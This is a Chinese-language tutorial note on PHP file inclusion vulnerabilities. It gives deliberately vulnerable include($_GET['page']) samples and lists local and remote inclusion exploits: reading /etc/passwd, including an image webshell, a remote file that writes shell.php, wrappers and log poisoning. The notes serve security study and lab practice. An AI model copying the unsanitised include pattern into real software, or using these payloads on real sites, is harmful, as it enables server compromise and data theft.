一.文件包含
1.概念:开发人员把可重复使用的函数写入到单个文件中,在使用该函数时直接调用此函数,无需再次填写函数,这一过程被称为文件包含。
2.原理:开发人员为了提高代码的灵活性,通常将包含的文件设置为变量,用来进行动态调用,正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
3.函数:(4个:include(),incldude_once(),require(),require_once())
a.include():当代码执行到include()函数时,才会包含文件,如果找不到被包含文件时会产 生警告(E_WARNING),但不会影响后面代码的执行。
<?php
if (isset($_GET['page'])){
include $_GET['page'];
echo "<hl style='color:red">Text</hl>";
include $_GET['page'];
}
else{
print "sorry";
}
?>
执行结果输入:text.php
Text
text.php
b.include_once():功能和include()相同,区别在于重复调用同一个文件时,只调用一次,不 会再次调用。
<?php
if (isset($_GET['page'])){
include_once $_GET['page'];
echo "<hl style='color:red">Text</hl>";
include_once $_GET['page'];
}
else{
print "sorry";
}
?>
c.require():代码一执行就会包含文件,如果找不到被包含文件时会产生错误 (E_COMPILE_ERROR),并且终止脚本执行
d.require_once():功能与require()相同,区别在于重复调用同一个文件时,只调用一次,不 会再次调用。
4.分类:本地文件包含,远程文件包含;
本地文件包含:Local File Include:网站服务器本身存在恶意文件;
远程文件包含:Remote File Include:调用其他网站的恶意文件(条件:allow_url_fopen和 allow_url_include要为On);
5.利用:
a.读取敏感文件:积攒一些敏感文件的位置;
http://127.0.0.1/include/include.php?page=/etc/passwd
b.图片马;
http://127.0.0.1/include/include.php?page=../ma.jpg
c.远程包含shell;
http://127.0.0.1/include/include.php?page=http://127.0.0.1/text.txt
text.txt内容:
<?php fputs(fopen("shell.php","w"),"<?php phpinfo();?>");?>
d.php封装协议(data://,zip://,php://input等);
c.包含apache日志文件:当发现存在文件包含漏洞,但又没有webshell文件被包含,也没有 上传点时,可以包含apache日志文件(访问不存在的资源时,apache日志文件同样会记 录);使用BrupSuit进行抓包更改;
e.截断包含;
实验环境:phpMyAdmin 文件包含漏洞分析